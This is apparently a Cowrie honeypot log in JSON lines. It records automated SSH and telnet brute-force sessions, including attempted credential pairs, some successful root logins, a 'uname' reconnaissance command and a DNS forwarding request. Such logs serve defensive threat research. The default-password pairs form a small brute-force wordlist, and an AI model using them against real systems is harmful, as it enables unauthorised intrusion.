{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:36.137899Z","src_ip":"80.66.66.10","session":"0a21abfe34e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.91.69.217","src_port":57604,"dst_ip":"159.203.135.109","dst_port":23,"session":"b976822fd764","protocol":"telnet","message":"New connection: 185.91.69.217:57604 (159.203.135.109:23) [session: b976822fd764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:46.250815Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54044,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a830303bc09","protocol":"ssh","message":"New connection: 2.57.122.208:54044 (159.203.135.109:22) [session: 9a830303bc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:59.421403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:59.445523Z","src_ip":"2.57.122.208","session":"9a830303bc09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:59.582633Z","src_ip":"2.57.122.208","session":"9a830303bc09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:00.376069Z","src_ip":"2.57.122.208","session":"9a830303bc09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:01.627834Z","src_ip":"2.57.122.208","session":"9a830303bc09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36080,"dst_ip":"10.17.0.5","dst_port":22,"session":"38641358a494","protocol":"ssh","message":"New connection: 92.118.39.92:36080 (10.17.0.5:22) [session: 38641358a494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:02.618827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:02.623791Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:02.726280Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"dogecoin","message":"login attempt [root/dogecoin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:03.026590Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:03.276115Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:03.280097Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:03.385760Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:03.390604Z","src_ip":"92.118.39.92","session":"38641358a494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33844,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed30f23f42d9","protocol":"ssh","message":"New connection: 2.57.122.210:33844 (10.17.0.5:22) [session: ed30f23f42d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:23.469479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:23.474274Z","src_ip":"2.57.122.210","session":"ed30f23f42d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:23.581061Z","src_ip":"2.57.122.210","session":"ed30f23f42d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:23.956234Z","src_ip":"2.57.122.210","session":"ed30f23f42d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:25.064752Z","src_ip":"2.57.122.210","session":"ed30f23f42d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:46.544909Z","src_ip":"185.91.69.217","session":"b976822fd764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.29719400405884,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:08:46.547892Z","src_ip":"185.91.69.217","session":"b976822fd764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":48366,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6c8cf0e566","protocol":"ssh","message":"New connection: 80.66.66.10:48366 (10.17.0.5:22) [session: ad6c8cf0e566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.034889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.042209Z","src_ip":"80.66.66.10","session":"ad6c8cf0e566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.156191Z","src_ip":"80.66.66.10","session":"ad6c8cf0e566","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.495792Z","src_ip":"80.66.66.10","session":"ad6c8cf0e566","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.618038Z","session":"ad6c8cf0e566","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.743155Z","src_ip":"80.66.66.10","session":"ad6c8cf0e566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:06.859596Z","src_ip":"80.66.66.10","session":"ad6c8cf0e566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52738,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b45946c8009","protocol":"ssh","message":"New connection: 92.118.39.92:52738 (10.17.0.5:22) [session: 5b45946c8009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:11.757792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:11.762500Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:11.910400Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"trade","message":"login attempt [root/trade] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.251205Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.501731Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.505073Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.617255Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.622234Z","src_ip":"92.118.39.92","session":"5b45946c8009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56316,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfcc13451c48","protocol":"ssh","message":"New connection: 2.57.122.208:56316 (159.203.135.109:22) [session: bfcc13451c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.822467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:12.917022Z","src_ip":"2.57.122.208","session":"bfcc13451c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:13.025050Z","src_ip":"2.57.122.208","session":"bfcc13451c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:13.614088Z","src_ip":"2.57.122.208","session":"bfcc13451c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:14.811267Z","src_ip":"2.57.122.208","session":"bfcc13451c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36580,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0eb9696c642","protocol":"ssh","message":"New connection: 2.57.122.210:36580 (10.17.0.5:22) [session: c0eb9696c642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:33.885226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:33.889985Z","src_ip":"2.57.122.210","session":"c0eb9696c642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:33.993555Z","src_ip":"2.57.122.210","session":"c0eb9696c642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:34.296793Z","src_ip":"2.57.122.210","session":"c0eb9696c642","protocol":"ssh"}
